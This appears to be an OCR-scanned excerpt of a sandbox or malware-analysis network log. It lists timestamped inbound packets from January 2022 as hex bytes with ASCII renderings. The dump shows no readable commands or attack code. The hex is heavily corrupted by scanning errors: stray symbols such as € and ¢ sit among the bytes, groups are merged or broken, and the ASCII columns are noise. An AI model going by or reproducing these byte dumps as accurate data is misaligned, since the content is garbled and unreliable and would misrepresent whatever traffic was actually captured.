€056 fe e2 €5 6b 7b 13 6d 41 d6 ce 6d 41 78 e0 88 65 15 47 c1 31 92 87 4e 94 3a b9 af 80 df 24 3d 53 c9 f6 88 e6 12 21
4c ce c9 61 17 df 61 8e fd 65 c6 14 66 f9 6f 03 36 72 18 3f eb a2 e6 cc c4 68 7c 4b 96 34 b9 c0 87 b2 a2 73 88 8e fe 34 a5
2a 31 8b 17 74 0d 24 b5 90 6e 6b 57 02 51 14 f4 ce 23 b0 b0 9b ¢8 11 d1 64 05 17 51 58 85 03 cf 49 23 9c 88 37 90 76 f4
5b 66 18 2a 7c f7 bc 38 f1 63 20 fe 60 06 8f 5e ae 9e ff 1e 9e cf 48 95 7 37 f6 ad bc c9 38 11 3a c5 40 bf 50 e9 1e 40 b7
28 3a 7c cb 2c 46 6d f7 6b cc af af 81 3f 4c
Data Ascii: OKQ730'0aE}pi). &eMB n%sR.(&KVk{mAMAxeG1N:$=S!Laaefo6r?h|K4s4*1tSnkWQ#dQXI#7v[f*|8c “"H
78:@P@(:|,Fmk?L

2022-01-14 03:59:52 UTC 6590 IN Data Raw: 37 7f 10 2d 7e b8 df 16 79 47 9e 37 59 79 a0 ef ff 73 78 7f 61 49 71 09 83 a8 5a 38 1e 3d 41 d7 8c 6f 17 6a 78
b5 3f 31 fe fd be bd a2 36 13 fc 42 56 c¢3 3d a5 70 1b 20 28 7c €0 40 a3 71 66 be 4c 38 d3 b5 65 7c cf 86 43 8¢ b8 0d 7b
€819 88 02 0a d4 16 56 c9 7e 94 05 e8 ec 8f 4c b9 e8 2b d2 08 6e a6 07 25 55 a4 97 c0 7b ba aa 3f 13 Ob 3a 31 fe 2d 4c
3b ff 5a 95 41 ed 97 3c 6e 25 1b 6f ed el 8d aa 73 el c7 76 a7 9e 6 €3 52 94 2b ec 34 45 a4 ac 1a 04 4d e2 ec Oe f4 de
dc 5f 38 9f 4a 57 f6 5e 3a 7a 10 92 2a 4e 97 b8 8d 8a Ob 91 14 c¢7 35 b0 96 23 20 8e 5b 17 1b 72 69 48 09 6¢ 98 37 16 a3
16 41 33 42 d6 17 a7 29 33 c6 2f ce 97 52 52 e4 a5 ef 38 9d 09 aa 32 b6 23 0d 09 e2 16 bb f8 3a a2 57 8b b2 f0 5a e3
13 48 60 38 56 13 33 a4 db 20 5b 5b de 2a 0a f1 0d 61
Data Ascii: 7-~yG7YysxalqZ8=A0jx?16BV=p (|@qfL8e|C{V~L+n%U{?:1-L;ZA<n%0svR+4EM_8JW":z*N5# [riHI7A3B)
3/RR82#:WZH'8V3 [[*a

2022-01-14 03:59:52 UTC 6606 IN Data Raw: 6a 30 f6 95 fc 8c 68 64 1a ad d2 9c b7 7c 6a c7 7a c4 10 2c c6 54 9e 30 02 Oc 4b 17 98 8a 2a 3c 44 72 3d 93 f9
a8 f5 6d d5 20 33 c0 53 ac 4e 15 2e 02 63 da 04 88 {3 38 4f 36 74 97 28 fe 78 18 16 58 27 2d 7c 41 b1 92 a3 fe 17 ef 88 2¢
34 05 ba 59 05 60 8e 53 a8 0d 54 73 9e e8 Oe cc 8¢ 07 63 e3 6d bd 79 6¢ c2 26 2f 44 b6 dO cb 05 9c ec d6 81 1a 6b dd 49
53 13 f0 7b 32 90 e2 64 e0 e7 df fa 6f 28 d6 10 f3 5d 06 1d 44 5a 5c¢ cO f1 a0 3f 3f d4 2a de bb 68 ed ec 36 55 1b d6 c4 fe
8b 72 59 9b 54 69 a2 d7 4c 16 c0 31 8a 20 27 f5 75 94 96 a4 5b 3¢ 91 86 88 a5 3d 70 dc 72 ab 97 b9 ad 67 aa c8 ae 40 bf
2f 73 65 f9 24 69 90 24 f8 aa 8e 1d e0 b6 1f c7 40 21 Oc 19 56 e5 00 98 c¢7 22 bb 02 4d 81 85 1le 78 e2 56 66 2b 3c 8a 49
e5¢6 39 3e 79 fb e4 64 76 09 a5 63 7d 39 1f c2
Data Ascii: johd|jz, TOK*<Dr=m 3SN.c806t(xX'-|A.4Y"STscmyl&DkIS{2do(]DZ\??*h6UrYTiL1 'u[<=prg@/se$i$@!V"MxVf+<
19>ydvc}9
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 6622 IN Data Raw: e3 31 ef €3 5b 8d c7 0a c1 95 da b3 3f 7c 09 47 19 d5 06 e3 c3 a9 5d b5 9c 92 47 23 52 87 43 24 0f 76 e4 e8
de 32 6f 40 7a 0a f8 b0 8b 8e 7a 94 bd 44 b5 30 ae 3e 24 4d {5 90 13 a3 b4 96 65 83 d7 1e 42 Oa ff dd c2 a0 bb 16 78 53
26 d8 16 02 43 e3 7e 9f 29 2f 44 f2 93 8e 2f 1d 6e b8 d6 68 d1 aa 73 31 f9 45 2c 14 84 9f 23 43 84 92 97 2c 6 ab 7c ce 86
51 29 f4 cf 8¢ 64 bb 72 64 a4 20 2c 08 bd 69 e5 el ce fc c6 c1 88 23 a2 ch 50 a7 31 63 e6 db 9e cc el ab c¢7 16 3d 4a 3f fd
a6 fe d9 2f 4f 8d 84 8c 69 eb 24 el f3 6f 5e 6f 6¢ a6 28 eb 57 99 af 19 5¢ d5 54 26 c6 8e db 71 ac fe f4 d0 7f c7 70 5b d2
4d 95 6d ba 7a e8 ec Oe 1c fh 23 01 8a a0 58 40 56 e5 fe 24 4f 4f 9c e2 1f ff a6 a9 9d 2d 70 ac 69 ef 7b al fc Oc c6 e8 68
57 28 91 6a 23 86 2a 10 ce 83 10 9e 9d 71 a3
Data Ascii: 1[?|G]G#RC$v20@zzD0>$MeBxS&C~)/D/nhs1E#C,|Q)drd ,i#P1c=J?/0i$o"ol(W\T&qp[Mmz#X@V$OO-pi{
hW(j#*q

2022-01-14 03:59:52 UTC 6638 IN Data Raw: 34 62 52 d0 50 1e 3c c7 6a 58 6b ca ca 23 cd c8 10 3f de 64 37 16 a4 31 4c 7b 2b dc e3 a8 84 22 13 ea a7 d2
03 9b 44 8a 6 4b 70 ea 6d 3e 19 57 3f f5 53 f0 d1 07 a2 49 ad 48 5f 57 72 08 bf {7 2e 64 dc 88 8e 7d ab b3 76 42 5d b7 Oa
b8 87 da 6a e7 e7 4c 8 fa f1 4b f9 bc 7a 3d 80 fd ec 18 5d Oe d1 32 ca 73 f8 c9 01 bl fb 03 19 Ob 08 a7 e6 ab c5 1b d2 87
b8 d5 9d 8e 31 af cd a6 8b 1c f7 a2 d5 d9 f2 e3 e5 8c 4c 5e eb 99 fd ab 61 2e ad e6 5e 70 99 46 bf 4c 04 26 da 4a 7f e8
1a 37 22 26 3c 85 7 b4 aa cb ff a6 12 fd 7c 5a cf 3a 8a Oe 6e 1f e4 d7 8d bf 96 f4 b4 45 8a 87 ea 7d Ob 47 dd 7b e1 30 73
78 de al 19 ae 91 72 09 8a dc 6e cO ab e7 c3 0d 35 3c 72 5a af b3 60 26 62 81 8b 03 e4 9b c0 a0 e4 5a 93 ac 90 7c 34 9c
d1 79 c2 ef 94 al 47 Ob a7 63 ec fd b5 aa aa 48
Data Ascii: 4bRP<jXk#?d71L{+"DKpm>W?SIH_Wr.d}vB]jLKz=]2s1L"a."pFL&J7"&<|Z:nE}G{0sxrn5<rZ &bZ|4yGcH

2022-01-14 03:59:52 UTC 6654 IN Data Raw: 95 6a 36 f9 f2 de f3 72 eb 7c Ob b0 84 16 f2 48 cd 49 8b 73 Oc 3f b3 €9 bd cc 3f 45 16 b9 5e 79 aa 28 {8 2f 96
68 81 de 91 9a ba 3b 68 fc f5 b1 f6 ac 52 7e 99 6b 8d 6¢ d7 9b 5e fd a0 aa 88 69 60 cO 7b 92 1f 8d 9b a9 3c b9 e4 2d 28
d9 f5 ¢8 cf c1 64 47 e0 9b 1f 05 19 5e dd 5¢ 19 13 fb 90 fa 3b 5d 6 19 d4 b3 9f ae 16 6b c8 82 48 0d dc f1 02 5d 9f 81 bf
81 74 15 e8 df ac b5 e0 05 8a 72 08 4e 9a 49 a5 ad 20 30 ad 6d 35 04 b5 a4 31 89 2b 7b 4b 8b 43 f7 1c 03 80 Oe 2a bc 34
€0 76 f9 3f 9f eb 64 d3 f1 88 df c8 7d 46 fb 25 fO b0 bb 9a 7a 88 44 07 cb b9 b1 1f cf c4 4c Oa ab 63 e0 97 €0 5¢ 62 02 b3
3f 4f 5f 68 b7 6a d1 b6 2b 50 41 26 14 cd 0a 9d b5 89 fd 3b 01 a9 38 dc 7b b5 e7 27 03 €6 42 €9 7f c0 2a 86 dd el 86 44
db 14 78 37 f8 60 64 d4 f3 83 a2 5c¢ 8 04 de f6
Data Ascii: j6r|HIs??E*y(/h;hR~kIN {<-(dG"\;]kH]trNI Om51+{KC*4v?d}F%zDLc\b?O_hj+PA&;8{'B*Dx7 d\

2022-01-14 03:59:52 UTC 6670 IN Data Raw: 95 d7 63 43 7b fO f4 4b 68 ce 11 df ce 9a 04 25 0Oa 35 dc 34 e5 24 47 ca 48 77 22 8a 2c 5a cb 54 72 c0 d4 5b c8
ac 3d b0 a7 5b 02 80 f0 79 53 a5 e0 c7 69 28 8e f8 32 bf c9 04 77 d6 68 34 bf 95 74 30 df 79 e8 37 a0 Oe Ob d3 Oa c8 bd
61 75 ca 83 52 c6 41 da 04 78 fd b5 2a 1e €8 02 68 e3 36 ff 71 ad fe af e8 c8 80 de f4 d3 46 d8 d7 80 7a 90 82 e7 Of ea 67
Ob 37 34 91 24 95 06 Of b6 92 c8 e7 aa bd 8¢ bf 67 f5 2e 33 cb 39 2f d0 51 7d ff 27 8e ed 77 5¢ 78 e6 f2 f7 4e 35 10 bd 58
a2 4a 73 c5 9c 4d 92 f5 04 af 86 58 31 7f d7 9b 39 10 1f 19 ed Oe 59 d1 ff fO 75 40 e4 fd 3a e4 b0 35 bd d1 50 ed f3 75 4a
1c 61 0c c8 78 3e 79 e7 d9 b7 ea 07 a4 4a ca 02 ad a0 79 5e 2a 98 b1 cf b4 64 19 29 8a 07 94 b5 24 df 42 14 07 91 ba 4e
11 01 8e 09 27 3a 35 f0 93 a6 60 55 ee d3 81
Data Ascii: cC{Kh%54$GHw",ZTr[=[ySi(2wh4t0y7auRAx*h6qFzg74$9.39/Q} W\XN5XJIsSMX19Yu@:5Pulax>yJy *d)$BN
t5'U

2022-01-14 03:59:52 UTC 6686 IN Data Raw: 34 21 58 c2 1a 52 a4 cd 0f 08 fb 53 3f 8c 6f 92 66 33 96 6e 63 d8 a4 ea 4e 9e 56 41 24 59 12 46 75 6d 38 b6
3107 f4 ea 86 4c 67 f9 dO Oa cO 8b 7c 40 €8 03 6¢ 93 ad d7 8c c8 d9 95 04 92 d2 7 42 21 2a 30 6d a8 04 eb d9 7d 73 87
7073 5d f4 38 7d 04 2a bc dc 19 4e 16 50 81 77 62 8c e5 7d d7 44 98 eb cc b3 49 84 d0 38 1c 98 bc e4 1c 03 b7 44 f8 5f
95 ed bc ea 62 9c f4 14 2e 4d cc b3 6b 5¢ 38 1c 1d 33 59 28 e6 c2 12 a4 d3 a8 3d f6 54 Oe d3 16 94 2a 8e f3 25 9b ba 3f
9257 a8 62 62 a8 a7 92 24 bl el 6e da 34 14 75 1a 29 4e 5a 15 e5 8e fa 6e d1 51 33 97 95 c8 64 48 44 41 05 a5 23 78
8a 6f 0a 86 5f 37 43 04 ac e0 2a cf 4c 2f d3 6b 3a 34 23 64 b0 78 a0 a2 8a 9a d1 f9 db 1f 9a 47 72 69 81 23 75 db e5 30
9b 4d 16 21 b4 16 f5 d0 1b 1f b3 1e a7 94 ff 17 f4 07 53 5d
Data Ascii: 4IXRS?0f3ncNVA$YFum81Lg|@IB!*0m}sps]8}*NPwb}DI8D_b.MK\83Y (=T*%?Wbb$n4u)NZnQ3dHDA#xo_7C*L
/k:4#dxGri#tuOM!S]

2022-01-14 03:59:52 UTC 6702 IN Data Raw: 2c 2c b0 2a 6b 97 de 5b 27 Oe 69 22 c4 al 5b 87 b0 68 46 fd 7e al ba ba 4f f1 7b dc 70 34 ba b4 f1 ea fd 00 7b
3c ed 5f 8f 25 db 65 85 5a 4f 54 9b e7 ff 2a a7 e2 16 9e 16 96 d6 09 45 ab 5d d5 4e b7 37 c9 13 le 42 96 94 7c 76 f2 e9
ad cd 7a9c 9a d1 6f 7d b2 74 e2 a0 2d 2d 91 93 3c f8 34 68 02 33 d6 8 ee 98 6f d7 26 aa 7c 82 75 68 e8 32 69 6d al d4
fa c8 89 ee 2e ba 4b 51 b1 05 aa 5e 73 48 2b b9 25 cf db da f0 4c 78 9¢c 9a 73 a0 da 74 9e 70 de 76 73 a7 20 39 1c ac a9
1b cd 45 4b e6 Oe ad e3 c6 e4 63 3e 6f ba 04 96 cO 6f e8 73 21 4c e7 2a e7 ee fa 31 06 7d 47 9c 37 b1 88 98 fe 51 2 1c
59 fc 02 c0 98 ef 24 10 d3 f2 31 45 b5 81 21 05 86 9f 68 a4 35 7c 88 95 02 fe a2 f1 57 90 60 6b d4 c5 6e f8 78 5a d3 49 4e
cf d3 08 51 83 04 96 42 f5 dd 57 d8 ce b4 3f a2 32
Data Ascii: ,,*k['i"[nNF~O{p4{<_%eZOT*E]N7B|vzo}t--<4h30&|uh2im.KQ"sH+%Lxstpvs 9EKc>00s!L*1}G7QY$1E!h
5|W knxZINQBW?2

2022-01-14 03:59:52 UTC 6718 IN Data Raw: 9a 4d 43 ef 9 91 6 79 31 2d 7a 7f ¢4 7b 60 c5 2b 14 62 ea 1b f9 fa 12 77 €9 42 09 97 19 1b 7a a2 0a 22 14 bf
2266 13 cf 38 84 a1 01 99 d6 f9 d6 de 7a de 69 8d 8a 8d 7e 63 dd ca cd 57 7 fa 17 99 67 1f 2a 7c 90 a0 c4 f8 7d 67 af 10
84 07 56 €9 58 86 4e 48 01 49 15 €6 13 7f ef 79 89 fe 11 ac 86 77 9e 60 36 21 01 ad 13 cd a7 b1 86 37 fb 61 ce d1 67 8
69 cc db Oe c7 f8 09 2a 17 7 d4 c9 53 41 1d b9 f3 Oe 2e e4 c9 c5 5e 7h 54 06 2 f6 37 f6 d2 95 74 55 Of ea 43 87 da 4f 7b
31 2f e2 cf 9c d0 7f 63 b2 b9 2b ad d0 9a 60 5e 9a 5b e7 40 9d d2 fc 67 37 ac 2b 7c 16 04 d3 09 7b 84 51 €9 51 1a 27 19
3a31 1b 1c 3 1e 08 1d bc 42 c1 d8 26 d3 d3 f6 b8 68 a5 52 a2 99 68 87 1c 2f b3 e6 f7 b7 49 f6 5a a5 a4 57 38 9d 05 dc
74 74 d7 56 73 29 ed 73 8 8 59 80 1c de bf 97
Data Ascii: MCy1-z{ +bwJz"'f8zi~cWg*[}gVXNHIyw 617agi*SA T 7tUCO{1/c+ N@g7+{QQ":1B&hR/IZWSttVs)sY

2022-01-14 03:59:52 UTC 6734 IN Data Raw: 65 aa 9e 16 75 d2 f8 01 ff 5e c¢5 7d 42 3a c2 3e bl e3 6d 6e ed 2e c1 c¢5 19 98 7a 6d 21 e8 b6 ef fd 7a 19 5b 2f
2c db 4f 15 1c 22 ¢7 56 7e ea 87 59 70 26 d3 2f fd 17 a3 b0 03 6f 03 25 fe 4b 3c 8f 87 0a 16 96 7a eb d8 92 81 3f 3a Je 66
9a al 71 32 9a 0d fb 81 9b 2f d2 96 b5 4d df 44 f7 a8 11 44 al 0d 42 82 a3 01 93 01 d5 2d 2b 6a c4 €0 dc 4c 71 34 58 Ob
98 33 7c fe d8 bc 4e 50 fa d8 f5 26 b5 e8 Ob 36 e2 cc fa 39 79 94 1b 5d 50 a9 b7 9c 02 5f 5b ac 58 bb 56 fd 75 67 al 67 3e
ce 6b c3 ed 2e 0a 89 f2 19 f5 €8 9d 52 5f 67 4a a2 65 33 af 35 94 f9 01 a6 1f 41 09 39 9d 60 41 1b 77 b4 2a 2d 6d 27 dc
ea 6d a6 f2 d3 6e a4 64 ac 2b 7a e6 fb 51 58 2¢ bc 30 06 04 c1 d6 15 aa ac 2f 1a ad 6¢ ef 89 9b 9a 54 €0 6d 59 56 95 8¢
70 4e 64 7a d9 10 91 7 b6 63 5f bd 79 4c e0 b8
Data Ascii: eu"}B:>mn.zm!z[/,0"V~Yp&/0%K<z?:fq2/MDDB-+jLq4X3|NP&69y]P_[XVugg>k.R_gJe35A9  Aw*-m'mnd+z
QX,0/ITmYVpNdzc_yL

2022-01-14 03:59:52 UTC 6750 IN Data Raw: d4 ee fe 05 26 f9 25 aa 21 95 ef 62 ca a5 28 82 53 08 6f f7 38 a3 97 93 04 48 19 38 8d 93 48 35 9e a4 ef ff 3¢
68 4a 5e 07 65 c6 fa 68 bc a7 f9 a0 39 ca 13 19 72 27 b2 8c e0 53 9b 22 9d 6e 96 2b a5 23 8a 14 37 e0 b2 cf 1b 7b 0a 58
56 b6 9e 46 c6 d8 3b c3 03 76 7f 6b 7e b9 c3 b6 e6 6e a3 a7 de 8c 99 43 71 12 66 83 97 f9 be 40 c3 a7 33 9a a0 62 ba 12
ce 49 b9 e0 53 3f 5f 9e 31 ea bb de 4c 48 50 ee 91 96 39 b7 66 €0 bc bd c4 ee 5f fd 72 el d4 ca 8b 41 1e 8e 42 a7 c7 b3
4c a4 97 dd 44 3e 68 ca 41 6¢ 6b a6 5c 29 cd 9b 8 28 3d e5 f4 1a 00 8e f3 6 47 1d 9f 30 16 74 79 8e 71 2c a4 5e ba 44
b7 a7 92 48 90 47 5e 21 eb 62 9c 2b al db 09 84 71 5f a9 09 9b 1f 80 c1 35 14 4d 58 ef d2 da 16 56 23 f7 07 54 32 10 67
58 7¢ 9d 15 85 b9 c1 ¢5 19 10 81 ea 8b 20 c9 a0 a7 ed
Data Ascii: &%!b(So8H8H5<hJ eh9r'S"n+#7{XVF;vk~nCqf@3bIS?_1LHP9f_rABLD>hAIk\)(=GOtyq,"DHG"b+q_5MXV#
T2gX|
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 6766 IN Data Raw: 50 90 d4 dc 4c 52 77 06 4e c2 ea 91 67 04 c5 e2 cd 45 5f 97 77 5d b0 3d 42 e3 de 8f 85 08 f4 07 f7 7d e2 a7 ea
36 ae 56 02 8b e2 f3 2e 67 fb 69 89 b9 dc 6f f8 a5 aa ba d2 82 71 01 d5 df 13 8b f2 40 db 07 b9 59 15 5f a2 5f 48 8a d9 46
44 15 91 47 bf 0f a2 40 16 67 06 78 17 cd 8e 86 d4 bf 28 63 c0 e8 ca aa c8 f4 da c5 50 c6 16 f6 23 40 f0 01 dd 72 53 1f c6
67 43 69 44 be 25 71 28 b6 ac ff 23 03 66 45 b7 24 9e 00 2c 2e 9a 76 44 ea 9f 1c 1f 6d ec 02 6d 02 Oa a9 5d al e6 30 7f
1a 36 9f b5 1b a5 88 13 ba 71 b5 d2 8a ef 57 3e 70 46 a7 d9 74 a8 af 42 5d 02 bc f2 5e c6 64 f1 94 4f 4c ed cd 46 5b f9 e4
fe 4a b9 e3 b5 Oe 9b dO 51 fa a0 fO ed 6a 07 3b 43 1b bc €9 65 d6 15 c5 36 d8 09 c4 61 d0 b3 a8 c2 f6 80 63 7c 33 21 ef f7
e7 fb 8b 90 1f 76 8e cf 61 e3 b3 ff aa c3
Data Ascii: PLRWNgE_w]=B}6V.giog@Y__HFDG @gx(cP#@rSgCiD%q(#{E$,.vDmm]06qW>pFtB]*"dOLF[JQj;Cebac|3!va

2022-01-14 03:59:52 UTC 6782 IN Data Raw: 3f c1 2f 25 52 5e f8 47 63 ef ec e7 11 5f 95 b9 56 b7 4c 8b 11 66 c7 18 fa de d5 a2 17 70 fd 1c 8c 6f Ob 04 34
68 aa 26 4b 7d ea e4 87 08 ed 1b ac b6 4e 9f 2e 2c c0 e0 b4 31 12 54 15 e2 d0 fd e3 e6 72 e5 f6 81 96 ff 96 d8 8a 06 79
03 71 0b f2 8f d3 37 18 1b ce 1c 34 7b 17 b9 af 77 70 b3 23 35 6d 90 c9 a6 47 27 55 7f 73 75 23 7a 2a d9 el 51 00 d7 ef
ef 30 86 ed 2d b2 aa 31 0Of 79 ff 93 53 5d cb 4b 48 6e 7f dc c¢5 67 31 98 a9 08 fd cb ac 05 25 cb 85 da 8d 94 9a 70 71 f6 2¢
47 16 ¢3 55 80 d7 bc 2d 40 7b 32 02 8d 2c 11 Oa e6 ac 78 95 4b 60 1le 74 56 81 e4 04 47 71 la eb ce 14 e8 8f 57 b9 a2
c6 €9 e0 6b Ob ba fd 57 ea 71 28 8c 2a a2 c5 al 71 38 de 68 b1 34 13 70 c9 b6 b2 8e 95 74 73 52 ca ba 8a 42 73 f1 69 9d
fe 37 2d d5 74 73 Of e0 7 2e 0f €9 27 02 14 20 50 6d
Data Ascii: /%R "Gc_VLfpo4h&KIN.,1Tryq74{wp#5mG'Usu#z*Q0-1yS]KHNng1%pg,GU-@{2,xK tVGgWkWq(*q8h4ptsRBs
i7-ts." Pm

2022-01-14 03:59:52 UTC 6798 IN Data Raw: 9f ¢8 79 08 f0 59 8e a7 c6 f6 7 0d af 83 8f 04 91 f4 7b f6 8f 13 63 7e 8e df 9c 0d d2 89 d9 d3 ee 08 d2 cf 61 7f
90 01 d7 9a ce 1d 04 33 94 93 2b 55 b3 5b bb f8 86 fa f7 cf 3d c1 51 5d db a8 ab 46 d1 ea 5b 1d c4 ef ae 7b 36 €0 b7 43
c4 1b a2 56 be b7 95 80 e2 da 96 22 3a bc a7 Oc 2a b9 97 d0 a3 79 27 8f 5¢ 48 de 67 01 54 cf 09 ad 37 4c dd 8c 09 b8 88
6 1f 8b ba 5b e0 84 80 53 0d 7 30 43 04 ac f1 b0 07 42 8a 7b 65 €9 19 5f 5f 20 20 63 83 77 96 58 17 83 41 c2 fa 79 2a a5
71 40 ae 66 2a 57 c0 d7 cf 62 c8 2f c4 2f 85 30 61 b2 a2 e6 70 1d 6f 5e 21 ac a2 aa 6e 08 17 fd 51 6f 10 fe 86 10 69 8b 32
b5 39 7c 41 b5 22 a0 34 a9 ab cf ac ea 14 8e dd 07 5f 15 96 ca 5a 34 e3 13 9f 20 94 48 30 14 e8 c2 c9 99 60 34 53 5a 8b
94 a6 99 3a cl 3c 02 0d b2 f4 b6 fe 22 ae 8b
Data Ascii: yY{c~a3+U[=Q]F[{6CV":*y"\HgT7L[SOCB{e__ cwXAy*q@f*Wb//0apo”*nQoi29|A"4_Z4 HO4SZ:<"

2022-01-14 03:59:52 UTC 6814 IN Data Raw: da da 20 48 c¢7 cf db 9d d9 57 2a 75 78 44 aa c8 49 17 67 07 f1 81 63 bc 7e 71 19 60 ab a7 95 37 87 af 2b 51
3763 0c d1 05 e6 a8 el a3 83 dd 46 d9 b0 b9 d8 87 67 21 8f 2d ea 88 cd 96 9a 86 bl a2 9d ca 1f 70 37 52 d6 cc 7a 92 33
1a b3 bf 09 64 €9 d5 9d 07 ac bl c4 c9 c1 9a 8a 68 0a c7 a9 17 30 2d 07 f0 f3 81 35 0f e0 e3 99 dc 23 bc 15 8¢ 09 91 7d
8e 2e af b4 84 f2 0d c4 ce aa 56 ee cd f8 87 47 30 74 18 cd 6e 9d cb f4 a8 c5 23 a4 le db 1b 59 fO 6f a4 05 42 8f 9¢c 73 65
2d a5 84 78 1f 03 ce d3 aa 96 el 5d 52 c¢6 bd ab 00 bf 8b 63 f5 85 bc c2 7b f4 b8 8f ef 42 74 83 7d 9e 29 6e 2f d1 6e 5f 87
dc bb 5e 89 35 0a fa 8d Oc 50 86 cd 8a 10 76 31 70 58 b2 57 2b 2d 88 c2 30 aa bl 7a aa Ob c4 63 32 5e 39 71 7b b2 90
e5 e4 b3 5b cd 29 94 58 62 9e 57 d7 26 83 2a 72 22 d3
Data Ascii: HW*uxDlgc~q'7+Q7cFg!-p7Rz3dh0-5#}.VGOtn#YoBse-x]Rc{Bt})n/n_"5Pv1pXW+-0zc2"9q{[) XbW&*r"

2022-01-14 03:59:52 UTC 6830 IN Data Raw: ad f3 08 5f fc c0 37 9f 1a e2 c9 el 81 e8 31 82 43 ef 39 27 2b 4f a0 a5 f1 18 9c bb 1c 0d e2 03 €9 5b 23 51 59
7e fa ff f7 80 95 a0 €9 59 79 79 c6 8e c0 08 54 b5 08 f8 3c 4b 60 3a bf 61 f1 8a 32 13 ¢5 70 6d 3f 4d al 82 e3 cc 7e 6d 2e
93 14 09 26 12 e5 f4 c4 41 87 90 84 cf 15 bf b8 de 4a 42 04 b8 54 43 €0 ff e0 dd 25 4f 7b 9d 92 e4 81 b6 0d 0d 3c bf dd 78
78 3a 49 58 6¢ d7 40 al Ob 47 db 1a b1 55 5¢ dO b3 ¢5 6b f3 a6 2f 99 8d 20 c7 41 6f 4a d8 ca 89 b9 f3 75 02 db 04 6a 63
19 47 6e 32 fb bd d7 8d 78 91 1a cb 77 40 63 9c d9 81 6a 7f 86 85 9a e2 3e a7 3f 71 bf 33 4e 4a b9 e4 6e 5a 6¢ 29 eb 42
79 ff el 4d 22 fa 3f b5 db d8 8f 21 8b c5 a6 20 02 63 f4 a9 b0 a9 2a 8f a3 2b 77 03 7e 3a c5 4c fe be a7 f8 2e 52 2 52 72
94 85 44 2a d2 26 8c 13 b7 64 84 b0 78 24 4f
Data Ascii: _71C9'+O[#QY~YyyT<K :a2pm?M~m.&AIBTC%O{<xx:IXI@GU\K/ AoJujcGn2xw@cj>?q3NJInZI)ByM"?! c*+w
~:L.RRrD*&dx$0

2022-01-14 03:59:52 UTC 6846 IN Data Raw: db 3b de €5 bb c¢1 b6 e2 06 cf 03 77 39 aa 87 92 16 1c a8 55 f1 60 db 79 d7 8d 70 27 24 2b e8 25 6f 8a b8 18
7269 48 54 46 17 cb d4 fd d9 16 b8 97 b3 89 7d 59 18 38 91 46 06 8d 4f 13 75 €0 94 ab 5e 57 53 90 68 8d c7 be a3 6f 2d
ad 94 d5 07 55 60 17 ac d9 d9 18 6¢ c8 8¢ b3 ef d8 ad 20 cf 42 6f 65 ec b9 e5 67 47 4a 8a d1 da d9 ed 5a e3 c1 Oe 34 c6
5d eb b2 c2 16 96 fd 00 5d dO 79 3c d3 6¢ 77 6e 54 a0 c8 f6 38 25 eb c1 5d 64 45 8d 23 58 a8 f6 d8 f4 29 89 16 bl 26 47
1569 5b cc 79 ad 5a f8 el 77 8c ca 34 96 5a 3e 8d 04 f5 41 48 48 66 fa 6f 81 c6 97 e5 82 47 e2 ae 22 06 23 77 9e 35 c4
1c fa 33 69 90 65 91 f0 d1 6c f9 6a Of af 26 1f 3b d8 4d cb 80 64 ab 9e 6d b5 ae f8 59 43 0f 14 71 70 65 1d 3c 0a 03 d9 45
05 8 2d 80 42 44 89 06 50 6f ab a8 ff b8 b8 23 98 3a
Data Ascii: ;w9U’yp'$+%o0riHTF}Y8FOu WSho-U’| BoegGJZ4]ly<lwnT8%]dE#X)&GilyZw4Z>AHHfoG"#w53ielj&;MdmY
Cqgpe<E-BDPot#:

2022-01-14 03:59:52 UTC 6862 IN Data Raw: a5 d5 2b €0 c3 c9 eb 7f e2 el dc ¢3 11 2f 2¢ 17 ef 9f 2b a4 d8 Oe 5f 4f b6 88 30 a7 2f cd 57 62 4a 34 8d 24 cd
7719 47 fc 67 f4 58 el 58 2a b8 Oe 7b f9 42 f1 5 aa cc 23 d9 ac 65 29 60 2a ¢3 36 08 11 b5 98 1a d0 03 dO 1e b6 ae 97
51 0a 40 ff 05 f3 00 00 3c 8a 3c 5d f4 67 35 4c ea a2 dd 82 d7 c6 6d 63 58 be 57 58 c2 9b 36 37 21 f2 57 d5 ed e3 32 5a fa
24 66 32 44 bb f4 85 a8 54 08 6¢ 86 4d 74 al b6 a6 a2 d8 b2 9b 30 60 Oe bd ca 15 9b b3 37 6¢ c3 f9 4d fc Oe f2 cc Oa 04
1567 4b a7 8a 9c 74 6d ff 1e 9a e2 d6 dc 81 a2 47 59 49 b5 df ca 02 5b 71 el 9a ce 06 4f b4 Oc 73 b5 a3 3c e6 7a 9b 56
52 61 ce 2e fb 89 73 bc 03 67 85 4e b8 Oe 29 9b f0 €6 d7 d2 1f 71 0f 07 d2 d8 d5 56 20 6¢ 54 7f 5¢c 44 d1 cf 26 6d 60 e8
7e 14 93 Oe ce e2 94 92 39 96 81 3a 13 32 01 bc 88
Data Ascii: +/,+_00/WbJ4$wGgXX*{B#e) *6Q @<<]g5LmcXWX67!W2Z$f2DTIMtO" 7IMgKtmGYI[qOs<zVRa.sgN)qV IT\D&
m'~9:2

2022-01-14 03:59:52 UTC 6878 IN Data Raw: df 9e c1 d9 6f c1 e6 62 9b ba ef 35 46 04 f2 79 15 85 55 46 6b 88 ac 2d 99 f5 ff 46 8a 3e 1f 77 85 52 c1 a2 26
9899 13 91 f2 81 44 0a 7d fb f9 de ee 50 84 ¢6 10 d5 47 a9 9e ef 85 16 a5 64 67 12 dO 37 60 98 36 b3 fb 03 af 9a ad 07
45 4a 92 c5 20 4a d5 f0 d6 67 70 b5 b7 ef 33 38 e4 fe ad 8c 34 12 17 10 99 cc 86 8b 7f a2 70 70 94 fO 7b ef fb 41 6d ed 4d
52 a5 5f 22 32 9a cd 07 81 e6 bc 70 24 fe c4 d9 da 9f 14 78 fe 5e 46 eb 01 6b 1e 90 d2 99 c5 6¢ a6 36 d7 ce c4 ad 50 ba
3512 c1 66 08 78 d0 19 43 be 16 99 3b c5 d6 ba 36 ab 35 e0 d5 5e 7b 26 d7 fe e8 c5 68 41 24 01 3e 0d cd 97 60 7a 3¢
b4 39 d3 6a dd 10 c3 6¢ f3 6a 92 50 87 a7 ec 93 77 f3 f8 €9 d2 16 69 8a 7d 9f e4 d9 4e 3a 3f f2 0a f6 a9 17 d5 77 le 50 35
€7 05 d7 92 31 cb ca f3 ba 31 Oe a5 2f e7 ed d8 e8
Data Ascii: 0b5FyUFk-F>WR&D}PGdg7 6EJ Jgp384pp{AMMR_"2p$x FkI6P5fxC;65&hA$>"z<9jljPwiN:?wP511/

